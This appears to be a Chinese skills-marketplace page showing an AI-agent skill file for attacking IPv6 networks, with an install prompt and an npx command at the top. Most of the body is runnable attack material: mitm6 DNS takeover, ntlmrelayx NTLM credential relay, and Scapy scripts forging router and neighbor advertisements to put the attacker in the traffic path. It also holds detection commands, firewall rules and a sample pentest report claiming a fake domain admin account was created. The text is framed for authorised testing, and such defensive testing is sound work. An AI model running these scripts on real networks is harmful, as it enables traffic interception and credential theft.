用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill exploiting-ipv6-vulnerabilities命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | exploiting-ipv6-vulnerabilities |
| description | 识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。 |
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","ipv6","slaac","router-advertisement","dual-stack-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
禁止在以下情况使用:未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统,或针对网络基础设施的拒绝服务攻击。
# 检查本地接口上是否启用了 IPv6
ip -6 addr show
# 使用组播发现本地链路上的 IPv6 主机
ping6 -c 3 ff02::1%eth0
# ff02::1 = 全节点组播地址
# 使用 THC-IPv6 工具包中的 alive6 发现主机
sudo alive6 eth0
# 使用 Nmap 扫描启用 IPv6 的主机
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# 检查网络上的路由器通告
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = 路由器通告
# 使用 radvdump 捕获现有 RA
sudo radvdump
# 检查 DHCPv6 服务器
sudo dhclient -6 -v eth0 --request-only
# mitm6 利用 Windows 主机在看到路由器通告时通过 DHCPv6 请求
# IPv6 配置的默认行为
# 启动 mitm6 成为 IPv6 DNS 服务器
sudo mitm6 -d example.com -i eth0
# mitm6 执行以下操作:
# 1. 发送路由器通告以在受害者上启用 IPv6
# 2. 响应 DHCPv6 请求,将自身指定为 DNS 服务器
# 3. 受害者现在通过 IPv6 向攻击者发送 DNS 查询
# 4. 攻击者可以使用欺骗的 DNS 回复进行响应
# 结合 ntlmrelayx 进行凭据中继
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
# 此漏洞利用:
# 1. WPAD(Web 代理自动发现)通过 DNS
# 2. Windows 向 WPAD 代理发送 NTLM 身份验证
# 3. ntlmrelayx 将凭据中继到目标服务器
#!/usr/bin/env python3
"""用于授权 IPv6 测试的虚假路由器通告。"""
from scapy.all import *
from scapy.layers.inet6 import *
# 构造路由器通告数据包
# 这使攻击者看起来像默认 IPv6 路由器
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # 全节点组播
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # 通告作为路由器持续 30 分钟
prf=1, # 高优先级
M=0, # 无托管标志(使用 SLAAC)
O=1 # 其他配置通过 DHCPv6(DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # 虚假前缀
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # 攻击者作为 DNS 服务器
lifetime=1800
)
)
print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")
# 邻居通告欺骗(IPv6 中 ARP 欺骗的等价操作)
# 使用 THC-IPv6 的 parasite6 工具
sudo parasite6 eth0
# 或使用 Scapy 构造
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# 欺骗邻居通告以重定向流量
target_ipv6 = "2001:db8::50" # 受害者 IPv6 地址
gateway_ipv6 = "2001:db8::1" # 网关 IPv6 地址
attacker_mac = get_if_hwaddr("eth0")
# 告诉受害者我们是网关
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1 # 路由器标志、Override 标志
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
# 使用 ndpmon 检测 NDP 欺骗
sudo ndpmon -i eth0
# 检测 Teredo 隧道(IPv6 over UDP 端口 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
# 检测 6to4 隧道(协议 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
# 检测 ISATAP 隧道
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
# 扫描启用 Teredo 的主机
nmap -6 -sU -p 3544 --open 10.10.0.0/24
# 测试 IPv6 隧道是否绕过 IPv4 防火墙规则
# 如果允许 Teredo,IPv6 流量可以绕过仅限 IPv4 的防火墙
curl -6 http://[2001:db8::50]:8080/ # 通过 IPv6 隧道访问
# 在防火墙上阻止不需要的 IPv6 隧道
# iptables:阻止协议 41(6to4、ISATAP)和 Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
# 验证 ip6tables 规则是否到位
sudo ip6tables -L -n -v
# 测试 IPv6 防火墙是否反映了 IPv4 规则
# 常见疏漏:IPv4 防火墙严格,IPv6 完全开放
nmap -6 -sS -p- <target_ipv6_address>
# 比较 IPv4 和 IPv6 扫描结果
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
# 检查交换机上的 IPv6 RA Guard
# Cisco: show ipv6 snooping policies
# 如果未启用,记录为发现项
# 清理:停止所有 IPv6 攻击工具
sudo killall mitm6 parasite6 2>/dev/null
| 术语 | 定义 |
|---|---|
| SLAAC(无状态地址自动配置) | IPv6 机制,主机无需 DHCP 服务器即可从路由器通告自动配置地址,可被虚假 RA 注入利用 |
| 路由器通告(RA,Router Advertisement) | 路由器发出的 ICMPv6 消息,宣布网络前缀、默认网关和 DNS 配置;虚假 RA 可实现 MITM 攻击 |
| NDP(邻居发现协议,Neighbor Discovery Protocol) | IPv6 替代 ARP,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击 |
| mitm6 | 利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具,可实现 DNS 欺骗和 NTLM 凭据中继 |
| RA Guard | 交换机级别安全功能,过滤虚假路由器通告,防止未授权主机充当 IPv6 路由器 |
| IPv6 隧道 | 将 IPv6 数据包封装在 IPv4 内(6to4、Teredo、ISATAP),可绕过仅限 IPv4 的安全控制和防火墙 |
背景:某公司在其企业网络上正式仅使用 IPv4,但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中,测试人员发现 IPv6 在 VLAN 上处于活动状态,且未部署任何 IPv6 安全控制(RA Guard、IPv6 ACL)。
方法:
注意事项:
## IPv6 安全评估报告
**测试 ID**:IPV6-2024-001
**目标网络**:VLAN 10(10.10.10.0/24,无官方 IPv6)
**评估日期**:2024-03-15
### IPv6 发现
| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站(Windows 默认) |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到(无 IPv6 路由器) |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无(ip6tables 为空) |
### 攻击结果
| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放(无 ip6tables 规则) |
### 建议
1. 在所有接入层交换机上部署 RA Guard(严重)
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL(严重)
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议(6to4、Teredo)
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测